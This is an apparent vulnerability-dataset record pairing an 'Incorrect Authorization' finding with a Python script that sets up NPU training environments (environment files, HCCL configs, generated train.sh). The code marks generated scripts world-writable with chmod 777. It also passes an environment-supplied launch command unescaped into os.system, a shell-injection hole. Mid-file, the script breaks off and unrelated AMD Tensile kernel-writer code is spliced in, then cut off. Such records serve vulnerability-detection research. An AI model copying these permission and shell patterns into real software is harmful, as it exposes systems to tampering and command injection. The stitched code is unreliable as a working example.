{"id": "b14209a2374305e62e34d781f2934ea1ece3c8f38dca60d3a74bb85a4bc4fbf2", "license": {"spdx": ["MIT"], "repo": "Asteven-zn/ApulisInstall", "path": "yaml/init-scripts/setup_npu.py", "repo_head_hexsha": "a34ca7bbd2ce733014772958c7eac4651c173032", "stack_hexsha": "0a137894f7810106cb2152e1863769e27f2e6b4c", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 439, "entireCode": "#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\nimport os\nimport json\nimport time\nimport pdb\nimport platform\nimport string\nimport random\n\n\n# 此脚本与create_script.sh由算法同事\n# 帮忙维护,当代码变更时需更新此版本号\ncode_version=\"1.0\"\n\n\ndef create_hccl_mindspore():\n\n    done = 0\n    rank_id = 0\n    hccl_data = {}\n\n    # for test only\n    #os.environ['DLWS_WORKER_NUM'] = \"2\"\n    #os.environ['DLWS_JOB_ID'] = \"test_npu_device\"\n    #os.environ['DLWS_USER_NAME'] = \"bifeng.peng\"\n    #\n\n    ## 单机任务,用DLWS_PS_NUM=0判断最好\n    if \"DLWS_WORKER_NUM\" not in os.environ:\n        os.environ['DLWS_WORKER_NUM'] = \"1\"\n    else:\n        pass\n\n    worker_num = int(os.environ['DLWS_WORKER_NUM'])\n    job_id = os.environ['DLWS_JOB_ID']\n    user_name =  os.environ['DLWS_USER_NAME']\n\n    # 1)hccl文件和相关脚本都会放到此目录\n    # 2)文件和具体的JOB有关, 不同JOB隔离存储\n    npu_dir = '/home/%s/.npu/%s/' % (user_name, job_id)\n\n    # 以下变量写死\n    hccl_data[\"board_id\"] = \"0x0020\"\n    hccl_data[\"chip_info\"] = \"910\"\n    hccl_data[\"deploy_mode\"] = \"lab\"\n    hccl_data[\"group_count\"] = \"1\"\n    hccl_data[\"para_plane_nic_location\"] = \"device\"\n    hccl_data[\"para_plane_nic_name\"] = [\n                                        \"eth0\",\n                                        \"eth1\",\n                                        \"eth2\",\n                                        \"eth3\",\n                                        \"eth4\",\n                                        \"eth5\",\n                                        \"eth6\",\n                                        \"eth7\"\n                                    ]\n    hccl_data[\"para_plane_nic_num\"] = \"8\"\n    hccl_data[\"status\"] = \"completed\"\n    hccl_data[\"group_list\"] = []\n\n    group = {}\n    group[\"device_num\"] = str(worker_num * 8)\n    group[\"server_num\"] = str(worker_num)\n    group[\"group_name\"] = \"test\"\n    group[\"instance_count\"] = group[\"device_num\"]\n    group[\"instance_list\"] = []\n\n    ## 生成npu_idx.info文件\n    ## 文件数量和worker个数一致\n    while True:\n\n        PATH = npu_dir + ('/npu_%d.info' % (done))\n        if os.path.isfile(PATH) and os.access(PATH, os.R_OK):\n\n            \n            with open(PATH, \"r\") as f:\n\n                ips = \"\"\n                host_ip = \"\"\n\n                # 文件中的格式:\n                # ip=id1:ip1,id2:ip2\n                # host=xxx\n                for line in f:\n                    print(line)\n                    if \"ip=\" in line:\n                        _, ips = line.strip().split(\"=\")\n                    elif \"host=\" in line:\n                        _, host_ip = line.strip().split(\"=\")\n\n                ip_list = ips.split(\",\")\n                ip_list = sorted(ip_list)\n\n                for ip_elem in ip_list:\n\n                    # 设备id和ip\n                    device_id, device_ip = ip_elem.split(\":\")\n\n                    ## set up group list\n                    device_item = {}  # item of instance list\n                    device_item[\"devices\"] = [{\n                        \"device_id\" : device_id,\n                        \"device_ip\" : device_ip\n                    }]\n\n                    device_item[\"rank_id\"] = str(rank_id)\n                    device_item[\"server_id\"] = str(host_ip)\n\n                    #pdb.set_trace()\n                    rank_id = rank_id + 1\n                    group[\"instance_list\"].append(device_item)\n\n                f.close()\n                done = done + 1\n        else:\n            pass\n\n        if done == worker_num:\n            break\n        else:\n            pass\n\n        time.sleep(1)\n\n    group[\"instance_count\"] = group[\"device_num\"] = str(len(group[\"instance_list\"]))\n    print(\"succ!\")\n    hccl_data[\"group_list\"].append(group)\n\n    # dump to json file\n    with open(npu_dir + '/hccl_ms.json', 'w') as fp:\n        json.dump(hccl_data, fp)\n\n    return\n\ndef create_hccl_tensorflow():\n\n    done = 0          # worker node to process\n    rank_id = 0       # equals to device count\n    hccl_data = {}\n\n    # for test only\n    #os.environ['DLWS_WORKER_NUM'] = \"2\"\n    #os.environ['DLWS_JOB_ID'] = \"test_npu_device\"\n    #os.environ['DLWS_USER_NAME'] = \"bifeng.peng\"\n    #\n\n    ## non distributed job\n    if \"DLWS_WORKER_NUM\" not in os.environ:\n        os.environ['DLWS_WORKER_NUM'] = \"1\"\n    else:\n        pass\n\n    worker_num = int(os.environ['DLWS_WORKER_NUM'])\n    job_id = os.environ['DLWS_JOB_ID']\n    pod_name = os.environ['POD_NAME']\n    user_name =  os.environ['DLWS_USER_NAME']\n\n    distributing_job= False\n    if \"DLWS_NUM_PS\" in os.environ:\n        if int(os.environ[\"DLWS_NUM_PS\"]) > 0: \n            distributing_job = True\n        else:\n            pass\n    else:\n        pass\n    \n\n    # 1)hccl文件和相关脚本都会放到此目录\n    # 2)文件和具体的JOB有关, 不同JOB隔离存储\n    npu_dir = '/home/%s/.npu/%s/' % (user_name, job_id)\n\n    hccl_data[\"group_count\"] = \"1\"\n    hccl_data[\"status\"] = \"completed\"\n    hccl_data[\"group_list\"] = []\n\n    group = {}\n    #group[\"device_count\"] = worker_num * 8\n    group[\"instance_count\"] = str(worker_num)\n    group[\"group_name\"] = \"test\"\n    group[\"instance_list\"] = []\n\n    ## 生成npu_idx.info文件\n    ## 文件数量和worker个数一致\n    while True:\n\n        PATH = npu_dir + ('/npu_%d.info' % (done))\n        if os.path.isfile(PATH) and os.access(PATH, os.R_OK):\n\n            with open(PATH, \"r\") as f:\n\n                ips = \"\"\n                host_ip = \"\"\n\n                # 文件中的格式:\n                # ip=id1:ip1,id2:ip2\n                # host=xxx\n                for line in f:\n                    print(line)\n                    if \"ip=\" in line:\n                        _, ips = line.strip().split(\"=\")\n                    elif \"host=\" in line:\n                        _, host_ip = line.strip().split(\"=\")\n\n                instance_item = {}  # item of instance list\n                if distributing_job is True:\n                    instance_item[\"pod_name\"] = job_id + \"-worker-\" + str(done)\n                else:\n                    instance_item[\"pod_name\"] = pod_name\n\n                instance_item[\"server_id\"] = host_ip\n                instance_item[\"devices\"] = []\n\n                # parse string to get all device ips\n                ip_list = ips.split(\",\")\n                ip_list = sorted(ip_list)\n\n                for ip_elem in ip_list:\n\n                    # one device\n                    device_id, device_ip = ip_elem.split(\":\")\n\n                    ## set up group list\n                    device_item =  {\n                        \"device_id\" : device_id,\n                        \"device_ip\" : device_ip\n                    }\n\n                    # append to instance list\n                    rank_id = rank_id + 1\n                    instance_item[\"devices\"].append(device_item)\n                    #pdb.set_trace()\n\n                group[\"instance_list\"].append(instance_item)\n                f.close()\n                done = done + 1\n\n        else:\n            pass\n\n        if done == worker_num:\n            break\n        else:\n            pass\n\n        time.sleep(1)\n\n    group[\"device_count\"] = str(rank_id)\n    group[\"instance_count\"] = str(len(group[\"instance_list\"]))\n    hccl_data[\"group_list\"].append(group)\n\n    print(\"succ!\")\n\n    # dump to json file\n    with open(npu_dir + '/hccl_tf.json', 'w') as fp:\n        json.dump(hccl_data, fp)\n\n    return\n\n\n# 从/pod.env导入环境变量\ndef load_env(file_path):\n    envs = {}\n\n    with open(file_path, \"r\") as f:\n\n        lines = f.readlines()\n        for line in lines:\n\n            line = line.strip().lstrip(\"export\")\n            if line is not \"\" and \"=\" in line:\n                key_val = line.strip().split(\"=\")\n\n                key = key_val[0]\n                value = key_val[1]\n                envs[key] = value\n\n            else:\n                pass\n\n        f.close()\n\n    return envs\n\n# 向/pod.env写入环境变量\n# 先判断是否存在此环境量,如果已存在,则覆盖\ndef add_env(path, envs):\n\n    # 覆盖相同key数据,文件已有的key保持不变\n    envs_orig = load_env(path)\n    for k, v in envs.items():\n         envs_orig[k] = v\n\n    with open(path, \"w\") as f:\n        for k, v in envs_orig.items():\n            f.write(\"export %s=%s\\n\" % (k, v))\n        \n        f.close()\n\n    return\n\n\ndef get_os_flag():\n\n    osflag=\"x86_64\"\n\n    if platform.machine() == \"aarch64\":\n        osflag = \"arm64\"\n    else:\n        pass\n\n    return osflag\n\n# gnu安装目录中的架构和算法组件的不一样\n# 单独处理\ndef get_gnu_arch_flag():\n\n    osflag=\"x86_64\"\n\n    if platform.machine() == \"aarch64\":\n        osflag = \"aarch64\"\n    else:\n        pass\n\n    return osflag\n\n\ndef get_random_num(length):\n    return ''.join(random.choice(string.digits) for _ in range(length))\n\n\n# 用于将环境变量更新 写入指定用户的shell加载文件\ndef set_bashrc(username):\n\n    path = \"\"\n    if username == \"root\":\n        path = \"/root/.bashrc\"\n    else:\n        path = \"/home/\" + username + \"/.bashrc\"\n\n\n    with open(path, \"a\") as f:\n\n        cmd = '''\n        if [ -f \"/pod.env\"  ]; then\n            . /pod.env\n        fi\n        '''\n\n        f.write(cmd + \"\\n\")\n        f.close()\n\n    return\n\n\n# 准备mindspore环境\n# 1) 预备环境变量,并写入/pod.env\n# 2) 创建算法需要的训练shell脚本\n# 3) 创建算法需要的hccl文件\ndef handle_mindspore():\n\n    path = \"/pod.env\"\n    envs = load_env(path)  # 导入平台加载过程中已创建的环境变量\n    envs_to_add= {}\n    envs_to_add[\"DEVICE_ID\"] = \"0\"\n\n    # 解析GPU/NPU设备ID\n    if \"VISIBLE_IDS\" in envs:\n        envs[\"VISIBLE_IDS\"] = envs[\"VISIBLE_IDS\"].replace(\"\\\\\",\"\")\n        envs_to_add[\"VISIBLE_IDS\"] = envs[\"VISIBLE_IDS\"] \n    else:\n        pass\n\n\n    # 解析NPU Device ID\n    if \"NPU_IPS\" in envs:\n        envs[\"NPU_IPS\"] = envs[\"NPU_IPS\"].replace(\"\\\\\",\"\")\n        envs_to_add[\"NPU_IPS\"] = envs[\"NPU_IPS\"] \n    else:\n        pass\n\n    ## 将/pod.env已有的环境变量\n    ## 与os当前具有的环境变量合并, 放入envs\n    for k, v in os.environ.items():\n        if k not in envs:\n            envs[k] = v\n        else:\n            pass\n\n    ## 不需要解析device id\n\n    ## 设置随机参数, 算法要求\n    envs[\"RANDOM\"] = get_random_num(6)\n    envs[\"osflag\"] = get_os_flag()\n    envs[\"gnu_arch\"] = get_gnu_arch_flag()\n\n    # mindspore环境变量模板\n    mindspore_envs = [\n      \"PYTHONPATH=/usr/local/lib/python3.7/site-packages/mindspore/lib:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/${osflag}-linux/opp/op_impl/built-in/ai_core/tbe:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/pyACL/python/site-packages/acl:${PYTHONPATH}\",\n      \"LD_LIBRARY_PATH=/usr/lib/${gnu_arch}-linux-gnu/hdf5/serial:/usr/local/Ascend/add-ons/:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/fwkacllib/lib64:/usr/local/Ascend/add-ons:/home/HwHiAiUser/Ascend/nnae/latest/fwkacllib/lib64:/usr/local/Ascend/driver/lib64/common/:/usr/local/Ascend/driver/lib64/driver/:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/opp/op_impl/built-in/ai_core/tbe/op_tiling:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/${osflag}-linux/atc/lib64:/usr/local/Ascend/fwkacllib/lib64/:/usr/local/lib/python3.7/site-packages/mindspore/lib/:/usr/local/lib/python3.7/site-packages/torch/lib:/usr/local/lib:/home/clang+llvm/lib/:$LD_LIBRARY_PATH\",\n      \"TBE_IMPL_PATH=/home/HwHiAiUser/Ascend/ascend-toolkit/latest/${osflag}-linux/opp/op_impl/built-in/ai_core/tbe:/usr/local/Ascend/ascend-toolkit/latest/opp/op_impl/built-in/ai_core/tbe\",\n      \"PATH=$PATH:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/${osflag}-linux/fwkacllib/ccec_compiler/bin/:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/fwkacllib/ccec_compiler/bin/:/home/clang+llvm/bin/:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/atc/bin\",\n      \"ASCEND_OPP_PATH=/home/HwHiAiUser/Ascend/ascend-toolkit/latest/opp\",\n      \"LLVM_CONFIG=/home/clang+llvm/bin/llvm-config\",\n      \"SOC_VERSION=Ascend910\",\n      \"POD_NAME=${DLWS_JOB_ID}\",\n      \"JOB_ID=${RANDOM}\",\n      \"RANK_SIZE=1\",\n      \"ASCEND_GLOBAL_LOG_LEVEL=3\",\n      \"ASCEND_GLOBAL_EVENT_ENABLE=0\"\n    ]\n\n    # 模板渲染\n    for item in mindspore_envs:\n\n        tpl = string.Template(item)\n        new_item = tpl.safe_substitute(envs)\n\n        if \"=\" in new_item:\n            key_val = new_item.strip().split(\"=\")\n            k = key_val[0]\n            v = key_val[1]\n            envs_to_add[k] = v\n\n        else:\n            pass\n\n    # 1) 更新/pod.env, 创建环境变量\n    add_env(path, envs_to_add)\n\n    # 2) 生成shell训练脚本\n    pod_cmd = os.environ[\"DLWS_LAUNCH_CMD\"]\n    npu_info_dir = \"/home/\" + os.environ[\"DLWS_USER_NAME\"] + \"/.npu/\" + os.environ[\"DLWS_JOB_ID\"] + \"/train.sh\"\n\n    cmd = 'python /pod/scripts/create_script.py --type mindspore --command \"%s\" --out %s'% (pod_cmd, npu_info_dir)\n    os.system(cmd)\n    os.system(\"chmod 777 \" + npu_info_dir)\n\n    # 将环境变量更新写入 root\n    set_bashrc(\"root\")\n\n    ## 3) 生成hccl_tf.json\n    if need_create_hccl() is True:\n        create_hccl_mindspore()\n    else:\n        pass\n\n    # 4) 分布式训练任务,环境配置同步\n    if is_distributed_job() is True and is_ps_pod() is True:\n        notify()\n\n    elif is_distributed_job() is True and is_worker_pod() is True:\n        wait()\n\n    else:\n        pass\n\n    return\n\n\n# 准备tensorflow环境\n# 1) 预备环境变量,并写入/pod.env\n# 2) 创建算法需要的训练shell脚本\n# 3) 创建算法需要的hccl文件\ndef handle_tensorflow():\n\n    # 1) 预备环境变量,并写入/pod.env\n    path = \"/pod.env\"\n    envs = load_env(path) # 导入平台加载过程中已创建的环境变量\n    envs_to_add= {}\n\n    # 解析GPU/NPU设备ID\n    if \"VISIBLE_IDS\" in envs:\n        envs[\"VISIBLE_IDS\"] = envs[\"VISIBLE_IDS\"].replace(\"\\\\\",\"\")\n        envs_to_add[\"VISIBLE_IDS\"] = envs[\"VISIBLE_IDS\"] \n    else:\n        pass\n\n    if \"NPU_IPS\" in envs:\n        envs[\"NPU_IPS\"] = envs[\"NPU_IPS\"].replace(\"\\\\\",\"\")\n        envs_to_add[\"NPU_IPS\"] = envs[\"NPU_IPS\"] \n    else:\n        pass\n\n    ## 将/pod.env已有的环境变量\n    ## 与os当前具有的环境变量合并, 放入envs\n    for k, v in os.environ.items():\n        if k not in envs:\n            envs[k] = v\n        else:\n            pass\n\n    ## 第一个设备id\n    device_id=\"0\"\n    device_index=\"0\"\n\n    if \"VISIBLE_IDS\" in envs:\n         devid = envs[\"VISIBLE_IDS\"].split(\",\")[0].strip()\n         if len(devid) > 0:\n             device_id = devid\n         else:\n             pass\n    else:\n        pass\n\n    device_index = device_id\n\n    ## 设置随机参数\n    envs[\"RANDOM\"] = get_random_num(6)\n    envs[\"osflag\"] = get_os_flag()\n    envs[\"gnu_arch\"] = get_gnu_arch_flag()\n\n    # 模板配置\n    tensorflow_envs = [\n      \"PYTHONPATH=/usr/local/lib/python3.7/site-packages/mindspore/lib:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/${osflag}-linux/opp/op_impl/built-in/ai_core/tbe:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/pyACL/python/site-packages/acl:${PYTHONPATH}\",\n      \"LD_LIBRARY_PATH=/usr/lib/${gnu_arch}-linux-gnu/hdf5/serial:/usr/local/Ascend/add-ons/:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/fwkacllib/lib64:/usr/local/Ascend/add-ons:/home/HwHiAiUser/Ascend/nnae/latest/fwkacllib/lib64:/usr/local/Ascend/driver/lib64/common/:/usr/local/Ascend/driver/lib64/driver/:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/opp/op_impl/built-in/ai_core/tbe/op_tiling:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/${osflag}-linux/atc/lib64:/usr/local/Ascend/fwkacllib/lib64/:/usr/local/lib/python3.7/site-packages/mindspore/lib/:/usr/local/lib/python3.7/site-packages/torch/lib:/usr/local/lib:/home/clang+llvm/lib/:$LD_LIBRARY_PATH\",\n      \"TBE_IMPL_PATH=/home/HwHiAiUser/Ascend/ascend-toolkit/latest/${osflag}-linux/opp/op_impl/built-in/ai_core/tbe:/usr/local/Ascend/ascend-toolkit/latest/opp/op_impl/built-in/ai_core/tbe\",\n      \"PATH=$PATH:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/${osflag}-linux/fwkacllib/ccec_compiler/bin/:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/fwkacllib/ccec_compiler/bin/:/home/clang+llvm/bin/:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/atc/bin\",\n      \"ASCEND_OPP_PATH=/home/HwHiAiUser/Ascend/ascend-toolkit/latest/opp\",\n      \"LLVM_CONFIG=/home/clang+llvm/bin/llvm-config\",\n      \"SOC_VERSION=Ascend910\",\n      \"POD_NAME=${DLWS_JOB_ID}\",\n      \"JOB_ID=${RANDOM}\",\n      \"RANK_SIZE=1\",\n      \"ASCEND_GLOBAL_LOG_LEVEL=3\",\n      \"ASCEND_GLOBAL_EVENT_ENABLE=0\"\n    ]\n\n    envs_to_add[\"DEVICE_ID\"] = device_id\n    envs_to_add[\"DEVICE_INDEX\"] = device_index\n\n    # 渲染模板\n    for item in tensorflow_envs:\n\n        tpl = string.Template(item)\n        new_item = tpl.safe_substitute(envs)\n\n        if \"=\" in new_item:\n            key_val = new_item.strip().split(\"=\")\n            k = key_val[0]\n            v = key_val[1]\n            envs_to_add[k] = v\n\n        else:\n            pass\n\n    #  1) 更新环境变量\n    add_env(path, envs_to_add)\n\n    ## 2) 生成shell脚本\n    pod_cmd = os.environ[\"DLWS_LAUNCH_CMD\"]\n    npu_info_dir = \"/home/\" + os.environ[\"DLWS_USER_NAME\"] + \"/.npu/\" + os.environ[\"DLWS_JOB_ID\"] + \"/train.sh\"\n\n    cmd = 'python /pod/scripts/create_script.py --type tensorflow --command \"%s\" --out %s'% (pod_cmd, npu_info_dir)\n    print(cmd, \"==========================\")\n    os.system(cmd)\n    os.system(\"chmod 777 \" + npu_info_dir)\n\n    # 更新用户bash脚本\n    set_bashrc(\"root\")\n\n    # 3) 生成hccl_tf.json\n    if need_create_hccl() is True:\n        create_hccl_tensorflow()\n    else:\n        pass\n\n    # 4) 分布式训练任务,环境配置同步\n    if is_distributed_job() is True and is_ps_pod() is True:\n        notify()\n\n    elif is_distributed_job() is True and is_worker_pod() is True:\n        wait()\n\n    else:\n        pass\n\n\n    return\n\n# 是否分布式训练任务\ndef is_distributed_job():\n\n    if \"DLWS_NUM_PS\" in os.environ:\n        dlws_num_ps = os.environ[\"DLWS_NUM_PS\"].strip().lower()\n\n        if len(dlws_num_ps) > 0 and int(dlws_num_ps) >0:\n            print(\"is_distributed_job return true\")\n            return True\n\n    return False\n\n# 是否master节点\ndef is_ps_pod():\n\n    if \"DLWS_ROLE_NAME\" in os.environ:\n        dlws_role_name = os.environ[\"DLWS_ROLE_NAME\"].strip().lower()\n\n        ## Ps表示多机多卡ps pod\n        if dlws_role_name == \"ps\":\n            return True\n\n    return False\n\n\n# 是否worker节点\ndef is_worker_pod():\n\n    if \"DLWS_ROLE_NAME\" in os.environ:\n        dlws_role_name = os.environ[\"DLWS_ROLE_NAME\"].strip().lower()\n\n        ## Ps表示多机多卡ps pod\n        if dlws_role_name == \"worker\":\n            return True\n\n    return False\n\n\n# 分布式训练任务 \n# ps节点在环境预备结束后,创建setup_environment_done文件\n# 用作环境准备完成的标识\ndef notify():\n\n    # 单机训练任务,只有一个POD不需要做协同\n    if is_distributed_job() is False:\n        return\n\n    setup_environment_done = \"/home/\" + os.environ[\"DLWS_USER_NAME\"] + \"/.npu/\" + os.environ[\"DLWS_JOB_ID\"] + \"/setup_environment_done\"\n\n    # 多机多卡训练,ps节点预备环境\n    if not os.path.exists(setup_environment_done):\n        open(setup_environment_done, 'a').close()\n\n    return\n\n# 分布式训练任务 \n# worker节点通过检查setup_environment_done文件\n# 来判断环境准备是否结束\ndef wait():\n\n    # 单机训练任务,只有一个POD不需要等待环境\n    if is_distributed_job() is False:\n        return\n\n    setup_environment_done = \"/home/\" + os.environ[\"DLWS_USER_NAME\"] + \"/.npu/\" + os.environ[\"DLWS_JOB_ID\"] + \"/setup_environment_done\"\n\n    # 多机多卡训练,ps节点预备环境\n    while True:\n        if not os.path.exists(setup_environment_done):\n            print(\"===========\", setup_environment_done, \" not found. wait\")\n            time.sleep(1)\n        else:\n            break\n\n    return\n\n\n\n# 1) 单机训练中,需要创建hccl文件\n# 2)多机多卡中,需要在ps pod创建hccl文件, 此文件会被worker pod共同读取\ndef need_create_hccl():\n    \n\n    if \"DLWS_ROLE_NAME\" in os.environ:\n        dlws_role_name = os.environ[\"DLWS_ROLE_NAME\"].strip().lower()\n\n        ## master表示单机POD\n        ## Ps表示多机多卡ps pod\n        if dlws_role_name == \"ps\" or dlws_role_name == \"master\":\n            return True\n\n    return False\n\n\nif __name__ == \"__main__\":\n\n    # 1) 训练框架类别由前端传入\n    #    本脚本依据此字段, 为不同框架创建不同的环境参数\n    #    hccl文件、环境变量等等\n\n    # 2) 脚本经平台bootstrap.sh调用\n    #    仅在JOB为单机节点或者 分布式任务的PS节点被执行\n    if \"aiframework\" in os.environ:\n\n        framework = os.environ[\"aiframework\"].strip().lower()\n\n        if framework == \"tensorflow\":\n            handle_tensorflow()\n\n        elif framework == \"mindspore\":\n            handle_mindspore()\n\n        else:\n            handle_tensorflow()\n\n    else:\n\n        # 兼容版本=2  else \"\"))\n    assemblerFile.write(\"# usage: asm.sh kernelName ASM_ARGS\\n\")\n    assemblerFile.write(\"# example: asm.sh kernelName -mcpu=gfx900\\n\")\n    assemblerFile.write(\"f=$1\\n\")\n    assemblerFile.write(\"shift\\n\")\n    assemblerFile.write(\"ASM=%s\\n\"%globalParameters[\"AssemblerPath\"])\n    # cannot use globalParameters[\"CurrentISA\"] because it might be (0,0,0)\n    defaultIsa = (9,0,0)\n    assemblerFile.write( \\\n      \"${ASM} -x assembler -target amdgcn-amd-amdhsa %s $@ -c -o $f.o $f.s\\n\" % \\\n      (\"-mno-code-object-v3\" if \\\n      globalParameters[\"AsmCaps\"][defaultIsa][\"HasCodeObjectV3\"] and \\\n      globalParameters[\"CodeObjectVersion\"] == \"V2\" else \"-mcode-object-v3\"))\n    assemblerFile.write(\"${ASM} -target amdgcn-amd-amdhsa $f.o -o $f.co\\n\")\n  assemblerFile.close()\n  os.chmod(assemblerFileName, 0o777)\n\n################################################################################\ndef buildKernelSourceAndHeaderFiles(results, outputPath, kernelsWithBuildErrs, \\\n      kernelSourceFile, kernelHeaderFile):\n  \"\"\"\n  Logs errors and writes appropriate info to kernelSourceFile and kernelHeaderFile.\n\n  Arguments:\n    results:              list of (err, src, header, kernelName)\n    outputPath:           path to source directory\n    kernelsWithBuildErrs: Dictionary to be updated with kernels that have errors\n    kernelSourceFile:     File to write source data to\n    kernelHeaderFile:     File to write header data to\n  \"\"\"\n\n  sourceFilenames = []\n\n  for (err,src,header,kernelName) in results:\n    if err:\n      kernelsWithBuildErrs[kernelName] = err\n      #print \"*** warning: invalid kernel#%s\"%kernelName\n\n    # write kernel.cpp\n    if not globalParameters[\"MergeFiles\"]:\n      filename = os.path.join(outputPath, \"Kernels\", kernelName+\".cpp\")\n      sourceFilenames.append(filename)\n      kernelSourceFile = open(filename, \"w\")\n      kernelSourceFile.write(CHeader)\n\n    kernelSourceFile.write(src)\n\n    if not globalParameters[\"MergeFiles\"]:\n      kernelSourceFile.close()\n      # write kernel.h\n      kernelHeaderFile = open(os.path.join(outputPath, \"Kernels\", kernelName+\".h\"), \"w\")\n      kernelHeaderFile.write(CHeader)\n\n    kernelHeaderFile.write(header)\n\n    if not globalParameters[\"MergeFiles\"]:\n      kernelHeaderFile.close()\n\n  return sourceFilenames\n\n################################################################################\n# Write Solutions and Kernels for BenchmarkClient or LibraryClient\n################################################################################\ndef writeSolutionsAndKernels(outputPath, CxxCompiler, problemTypes, solutions, kernels, kernelsBetaOnly, \\\n    solutionWriter, kernelWriterSource, kernelWriterAssembly, errorTolerant=False):\n  start = time.time()\n\n  codeObjectFiles = []\n\n  print1(\"# Writing Kernels...\")\n  if not globalParameters[\"MergeFiles\"]:\n    ensurePath(os.path.join(outputPath, \"Solutions\"))\n    ensurePath(os.path.join(outputPath, \"Kernels\"))\n\n  ##############################################################################\n  # Write Kernels\n  ##############################################################################\n  kernelFiles = []\n  if globalParameters[\"MergeFiles\"]:\n    kernelSourceFilename = os.path.join(outputPath, \"Kernels.cpp\")\n    kernelHeaderFilename = os.path.join(outputPath, \"Kernels.h\")\n\n    kernelFiles.append(kernelSourceFilename)\n    kernelSourceFile = open(kernelSourceFilename, \"w\")\n    kernelHeaderFile = open(kernelHeaderFilename, \"w\")\n    kernelSourceFile.write(CHeader)\n    kernelHeaderFile.write(CHeader)\n    kernelSourceFile.write(\"#include \\\"Kernels.h\\\"\\n\")\n    kernelHeaderFile.write(\"#pragma once\\n\")\n    if globalParameters[\"RuntimeLanguage\"] == \"HIP\":\n      kernelHeaderFile.write(\"#include \\n\")\n      kernelHeaderFile.write(\"#include \\n\\n\")\n    kernelHeaderFile.write(\"#include \\\"KernelHeader.h\\\"\\n\\n\")\n  else:\n    kernelSourceFile = None\n    kernelHeaderFile = None\n\n  kernelsWithBuildErrs = {}\n\n  prepAsm()\n\n  kIter = zip(kernels, itertools.repeat(kernelWriterSource), itertools.repeat(kernelWriterAssembly))\n  results = Common.ParallelMap(processKernelSource, kIter, \"Generating kernels\", method=lambda x: x.starmap)\n  print(len(results))\n\n  removeKernels = []\n  removeSolutions = []\n  removeResults = []\n  for kernIdx in range(0, len(results)):\n    (err,src,header,kernelName) = results[kernIdx]\n    if(err == -2):\n      removeKernels.append(kernels[kernIdx])\n      removeSolutions.append(solutions[kernIdx])\n      removeResults.append(results[kernIdx])\n  for kern in removeKernels:\n      kernels.remove(kern)\n  for solut in removeSolutions:\n      solutions.remove(solut)\n  for rel in removeResults:\n      results.remove(rel)\n\n  kernelFiles += buildKernelSourceAndHeaderFiles(results, outputPath, kernelsWithBuildErrs, kernelSourceFile, kernelHeaderFile)\n\n  kernelsToBuild = list(kernels)\n  if errorTolerant:\n      def success(kernel):\n          writer = kernelWriterAssembly if kernel['KernelLanguage'] == 'Assembly' else kernelWriterSource\n          kernelName = writer.getKernelName(kernel)\n          return kernelName not in kernelsWithBuildErrs\n      kernelsToBuild = list(filter(success, kernelsToBuild))\n\n  if False:#len(kernelsWithBuildErrs) > 0:\n    print(\"\\nKernel compilation failed in one or more subprocesses. May want to set CpuThreads=0 and re-run to make debug easier\")\n    printExit(\"** kernel compilation failure **\")\n\n\n  # beta-only kernels\n  for kernel in kernelsBetaOnly:\n    kernelWriter = kernelWriterSource\n    kernelName = kernelWriter.getKernelNameBetaOnly(kernel)\n\n    # write kernel.cpp\n    if not globalParameters[\"MergeFiles\"]:\n      kernelSourceFilename = os.path.join(outputPath, \"Kernels\", kernelName+\".cpp\")\n      kernelSourceFile = open(kernelSourceFilename, \"w\")\n      kernelSourceFile.write(CHeader)\n      kernelFiles.append(kernelSourceFilename)\n\n    (err, src) = kernelWriter.getSourceFileStringBetaOnly(kernel)\n    kernelSourceFile.write(src)\n    if err:\n      print(\"*** warning: invalid kernel#%u\"%kernelName)\n    if not globalParameters[\"MergeFiles\"]:\n      kernelSourceFile.close()\n    # write kernel.h\n    if not globalParameters[\"MergeFiles\"]:\n      kernelHeaderFile = open(os.path.join(outputPath, \"Kernels\", kernelName + \".h\"), \"w\")\n      kernelHeaderFile.write(CHeader)\n    kernelHeaderFile.write( kernelWriter.getHeaderFileStringBetaOnly(kernel))\n    if not globalParameters[\"MergeFiles\"]:\n      kernelHeaderFile.close()\n\n  # close merged\n  if globalParameters[\"MergeFiles\"]:\n    kernelSourceFile.close()\n    kernelHeaderFile.close()\n\n  kernelsToBuild += kernelsBetaOnly\n\n  codeObjectFiles += buildSourceCodeObjectFiles(CxxCompiler, kernelFiles, outputPath)\n  codeObjectFiles += getAssemblyCodeObjectFiles(kernelsToBuild, kernelWriterAssembly, outputPath)\n\n  stop = time.time()\n  print(\"# Kernel Building elapsed time = %.1f secs\" % (stop-start))\n\n  print1(\"# Writing Solutions\")\n  if globalParameters[\"ShowProgressBar\"]:\n    progressBar = ProgressBar(len(solutions))\n  ##############################################################################\n  # Write Solutions\n  ##############################################################################\n\n  solutionSourceFilename = os.path.join(outputPath, \"Solutions.cpp\")\n  solutionHeaderFilename = os.path.join(outputPath, \"Solutions.h\")\n\n  solutionSourceFile = open(solutionSourceFilename, \"w\")\n  solutionHeaderFile = open(solutionHeaderFilename, \"w\")\n  solutionSourceFile.write(CHeader)\n  solutionHeaderFile.write(CHeader)\n\n  solutionSourceFile.write(\"#include \\\"Solutions.h\\\"\\n\")\n  solutionSourceFile.write(\"#include \\n\")\n\n  solutionHeaderFile.write(\"#include \\\"TensileTypes.h\\\"\\n\")\n  solutionHeaderFile.write(\"#include 